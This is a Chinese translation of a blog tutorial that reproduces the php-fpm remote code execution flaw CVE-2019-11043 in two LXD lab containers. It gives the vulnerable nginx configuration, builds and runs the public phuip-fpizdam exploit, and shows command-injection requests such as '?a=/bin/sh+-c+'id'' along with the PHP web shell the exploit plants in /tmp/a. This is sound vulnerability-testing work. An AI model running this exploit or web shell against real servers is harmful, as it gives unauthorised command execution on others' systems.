CVE-2019-11043是php-fpm中的一個緩衝區溢出漏洞,在某些情況下會導致遠程執行。PHuiP-FPizdaM有一個針對某些nginx和php-fpm配置的漏洞復現測試,他們描述了如何使用Docker來測試此漏洞。
在本文中,我們使用LXD來測試漏洞並驗證其是否真實有效。
當nginx配置為php-fpm以特定方式處理時,該漏洞很容易觸發,Nextcloud的配置說明建議使用這種錯誤的配置方式。在本文中,我們嘗試在不安裝Nextcloud的情況下實現此漏洞的復現。
在下面創建了兩個系統容器:vulnerable和hacker。在第一個容器中,我們根據漏洞利用頁面的需要進行設置nginx和php-fpm(最新版本,仍然存在緩衝區溢出)並進行配置。在另一個容器中,我們針對第一個容器運行漏洞利用代碼。
0x01 配置存在漏洞的容器環境
我們創建容器vulnerable並安裝軟體包nginx和php-fpm。php-fpm的版本必須是一個存在漏洞的版本。存在緩衝區溢出漏洞的版本是php-fpm-7.2.19-0ubuntu0.18.04.2。
http://security.ubuntu.com/ubuntu/pool/universe/p/php7.2/
$ lxc launch ubuntu:18.04 vulnerable
Creating vulnerable
Starting vulnerable
$ lxc exec vulnerable -- sudo --user ubuntu --login
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
ubuntu@vulnerable:~$ sudo apt update
...
ubuntu@vulnerable:~$ sudo apt install -y nginx php-fpm
...
ubuntu@vulnerable:~$ apt policy php-fpm
php-fpm:
Installed: 1:7.2+60ubuntu1
Candidate: 1:7.2+60ubuntu1
Version table:
*** 1:7.2+60ubuntu1 500
500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages
100 /var/lib/dpkg/status
ubuntu@vulnerable:~$ apt policy php7.2-fpm
php7.2-fpm:
Installed: 7.2.19-0ubuntu0.18.04.2
Candidate: 7.2.19-0ubuntu0.18.04.2
Version table:
*** 7.2.19-0ubuntu0.18.04.2 500
500 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages
500 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages
100 /var/lib/dpkg/status
7.2.3-1ubuntu1 500
500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages
ubuntu@vulnerable:~$ logout
$
給vulnerable為剛剛安裝nginx和php-fpm的當前狀態的容器拍攝快照。如果要重新開始測試,可以輕鬆切換回此狀態。
在此處展示如何還原以及刪除快照:
$ lxc snapshot vulnerable stock-install
$ lxc info vulnerable
Name: vulnerable
...
Snapshots:
stock-install (taken at 2019/10/28 10:11 UTC) (stateless)
$ lxc restore vulnerable stock-install
$ lxc delete vulnerable/stock-install
默認情況下,php-fpm沒有在nginx伺服器(即虛擬主機)中啟用,現在啟用一下。首先嘗試使用Ubuntu中的默認配置進行設置。以下是nginx中的默認網站配置,刪除了所有不重要的內容,並啟用了PHP支持。現在還尚未配置php-fpm為易受攻擊狀態。
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
}
最後創建一個index.php並在其中添加一些簡單的PHP。然後,我們驗證PHP代碼是否可以運行。要漏洞利用的話,我們還可以使用一個空的.php文件。
ubuntu@vulnerable:~$ lxc exec vulnerable -- sudo --user ubuntu --login
ubuntu@vulnerable:~$ echo "<?php echo '<p>Hello World</p>'; ?> " | sudo tee /var/www/html/index.php
ubuntu@vulnerable:~$ curl http://localhost
Hello World
ubuntu@vulnerable:~$
存在漏洞的容器已準備就緒,為容器做個快照,以備將來會使用到。
ubuntu@vulnerable:~$ logout
$ lxc snapshot vulnerable stock-with-php-on
$
0x02 配置攻擊容器環境
創建hacker容器並編譯漏洞利用代碼:
$ lxc launch ubuntu:18.04 hacker
Creating hacker
Starting hacker
$ lxc exec hacker -- sudo --user ubuntu --login
ubuntu@hacker:~$ sudo snap install go --classic
go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed
ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git
ubuntu@hacker:~$ cd phuip-fpizdam/
ubuntu@hacker:~/phuip-fpizdam$ go build
go: downloading github.com/spf13/cobra v0.0.5
go: extracting github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
go: extracting github.com/spf13/pflag v1.0.3
go: finding github.com/spf13/cobra v0.0.5
go: finding github.com/spf13/pflag v1.0.3
ubuntu@hacker:~/phuip-fpizdam$ ls
README.md consts.go detect_methods.go go.sum phpini.go
reproducer attack.go detect.go go.mod main.go phuip-fpizdam
requester.go
ubuntu@hacker:~/phuip-fpizdam$
在這一階段,我們可以嘗試查看vulnerable容器中nginx + php的常規安裝是否可以執行漏洞利用代碼實現利用。該vulnerable容器是通過使用名稱加上.lxd從這個容器訪問。每個LXD容器都是隨機獲得這樣的主機名的,其他容器都可以使用這些主機名來訪問所有這些主機名。
ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
2019/10/28 10:09:06 Base status code is 404
2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong
ubuntu@hacker:~/phuip-fpizdam$
hacker容器已經準備就緒,vulnerable容器是不是真的可以被利用,需要恢復快照到可以利用的狀態。
0x03 配置vulnerable容器
在上面的伺服器配置中,有一個指令是include snippets/fastcgi-php.conf;,該指令用於逐字節include一組配置。我們需要編輯這些配置,因此導入整個文件,伺服器塊如下所示:
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
}
我們進行以下最小更改。
首先,將匹配模式更改為所述模式。其次,注釋掉try_files指令。然後,將include fastcgi.conf目錄移到該部分的最外層。該文件位於/etc/nginx/fastcgi.conf,只需要將幾個環境變量設置為PHP-FPM。
更改為php-fpm的默認nginx配置。
這是最終漏洞程序的配置文件。
切換到hacker容器並嘗試利用。
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ [^/].php(/|$) {
include fastcgi.conf;
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;
# Check that the PHP script exists before passing it
#try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}
}
0x04 漏洞利用
在hacker容器中,我們在容器上運行漏洞利用程序vulnerable。php-fpm確實受到了影響,可以用來進一步遠程執行命令。
ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
2019/10/28 14:39:24 Base status code is 200
2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate
2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect
2019/10/28 14:39:25 Trying to set "session.auto_start=0"…
2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect <-- REMEMBER THIS
2019/10/28 14:39:25 Performing attack using php.ini settings…
2019/10/28 14:39:25 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/28 14:39:25 Trying to cleanup /tmp/a…
2019/10/28 14:39:25 Done!
ubuntu@hacker:~/phuip-fpizdam$
根據說明運行如下命令,漏洞利用代碼每隔一段時間就會利用成功。
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$
利用的方式是將/tmp/a幫助程序腳本保存在存在漏洞程序的主機上,然後,每次調用此幫助程序以執行攻擊命令。
ubuntu@vulnerable:~$ ls -l /tmp/a
-rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a
ubuntu@vulnerable:~$ cat /tmp/a
<?php echo`$_GET[a]`;return;?>
ubuntu@vulnerable:~$
0x05 結論
可以使用LXD作為開發和測試環境來評估此漏洞的重要性,不需要使用Docker進行測試。可以在許多Linux發行版中進行選擇,包括Ubuntu,Debian,Centos,Fedora和openSUSE。
我們還可以在ubuntu:16.04設置一個vulnerable容器來研究PHP5上的此漏洞。
本文翻譯自:https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/